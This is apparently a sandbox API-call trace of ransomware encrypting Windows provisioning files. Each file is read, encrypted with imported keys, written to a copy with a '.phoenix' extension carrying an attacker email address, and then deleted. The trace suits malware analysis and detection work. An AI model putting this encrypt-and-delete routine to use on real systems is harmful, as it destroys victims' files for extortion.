	[0257.017] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\663__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\663__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0257.018] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=468) returned 1
	[0257.018] CloseHandle (hObject=0x2c0) returned 1
	[0257.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\663__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\663__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0257.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\663__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\663__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.018] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\663__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\663__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0257.019] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.019] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.019] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\663__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\663__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0257.021] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151480) returned 1
	[0257.021] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.021] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1d4, lpOverlapped=0x0) returned 1
	[0257.022] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1e0) returned 1
	[0257.022] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1e0, lpOverlapped=0x0) returned 1
	[0257.023] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151740) returned 1
	[0257.023] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.023] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0257.023] CryptDestroyKey (hKey=0x151740) returned 1
	[0257.023] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0257.023] CryptDestroyKey (hKey=0x151480) returned 1
	[0257.023] CloseHandle (hObject=0x2c0) returned 1
	[0257.023] CloseHandle (hObject=0x2d0) returned 1
	[0257.024] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\663__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\663__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0257.024] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0257.024] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\664__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\664__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0257.025] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=454) returned 1
	[0257.025] CloseHandle (hObject=0x2d0) returned 1
	[0257.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\664__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\664__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0257.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\664__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\664__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.025] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\664__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\664__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0257.025] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.025] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.026] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\664__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\664__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0257.026] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151040) returned 1
	[0257.026] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.026] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1c6, lpOverlapped=0x0) returned 1
	[0257.027] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0) returned 1
	[0257.027] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1d0, lpOverlapped=0x0) returned 1
	[0257.028] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151380) returned 1
	[0257.028] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.028] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
	[0257.028] CryptDestroyKey (hKey=0x151380) returned 1
	[0257.028] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0257.028] CryptDestroyKey (hKey=0x151040) returned 1
	[0257.028] CloseHandle (hObject=0x2d0) returned 1
	[0257.028] CloseHandle (hObject=0x2c0) returned 1
	[0257.028] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\664__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\664__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0257.029] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0257.029] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\665__Connections_Cellular_HP DataPass (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\665__connections_cellular_hp datapass (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0257.030] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=874) returned 1
	[0257.030] CloseHandle (hObject=0x2c0) returned 1
	[0257.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\665__Connections_Cellular_HP DataPass (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\665__connections_cellular_hp datapass (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0257.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\665__Connections_Cellular_HP DataPass (United Kingdom)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\665__connections_cellular_hp datapass (united kingdom)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.030] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\665__Connections_Cellular_HP DataPass (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\665__connections_cellular_hp datapass (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0257.030] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.030] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.030] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\665__Connections_Cellular_HP DataPass (United Kingdom)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\665__connections_cellular_hp datapass (united kingdom)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0257.031] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151740) returned 1
	[0257.031] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.031] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x36a, lpOverlapped=0x0) returned 1
	[0257.078] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x370, dwBufLen=0x370 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x370) returned 1
	[0257.078] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x370, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x370, lpOverlapped=0x0) returned 1
	[0257.790] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151480) returned 1
	[0257.790] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.790] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0257.790] CryptDestroyKey (hKey=0x151480) returned 1
	[0257.790] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0257.790] CryptDestroyKey (hKey=0x151740) returned 1
	[0257.790] CloseHandle (hObject=0x2c0) returned 1
	[0257.790] CloseHandle (hObject=0x2d0) returned 1
	[0257.791] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\665__Connections_Cellular_HP DataPass (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\665__connections_cellular_hp datapass (united kingdom)_i0$(__mvid)@wap.provxml")) returned 1
	[0257.792] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0257.792] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\671__Connections_Cellular_Dell (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\671__connections_cellular_dell (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0257.793] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=721) returned 1
	[0257.793] CloseHandle (hObject=0x2d0) returned 1
	[0257.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\671__Connections_Cellular_Dell (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\671__connections_cellular_dell (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0257.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\671__Connections_Cellular_Dell (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\671__connections_cellular_dell (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.793] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\671__Connections_Cellular_Dell (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\671__connections_cellular_dell (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0257.793] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.793] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.793] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\671__Connections_Cellular_Dell (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\671__connections_cellular_dell (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0257.794] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151480) returned 1
	[0257.794] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.794] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d1, lpOverlapped=0x0) returned 1
	[0257.795] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0257.795] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0257.796] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151300) returned 1
	[0257.796] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.796] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0257.796] CryptDestroyKey (hKey=0x151300) returned 1
	[0257.796] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0257.796] CryptDestroyKey (hKey=0x151480) returned 1
	[0257.796] CloseHandle (hObject=0x2d0) returned 1
	[0257.796] CloseHandle (hObject=0x2c0) returned 1
	[0257.797] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\671__Connections_Cellular_Dell (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\671__connections_cellular_dell (germany)_i0$(__mvid)@wap.provxml")) returned 1
	[0257.798] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0257.798] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\672__Connections_Cellular_Dell (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\672__connections_cellular_dell (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0257.798] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=728) returned 1
	[0257.798] CloseHandle (hObject=0x2c0) returned 1
	[0257.799] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\672__Connections_Cellular_Dell (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\672__connections_cellular_dell (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0257.799] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\672__Connections_Cellular_Dell (United Kingdom)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\672__connections_cellular_dell (united kingdom)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.799] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\672__Connections_Cellular_Dell (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\672__connections_cellular_dell (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0257.799] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
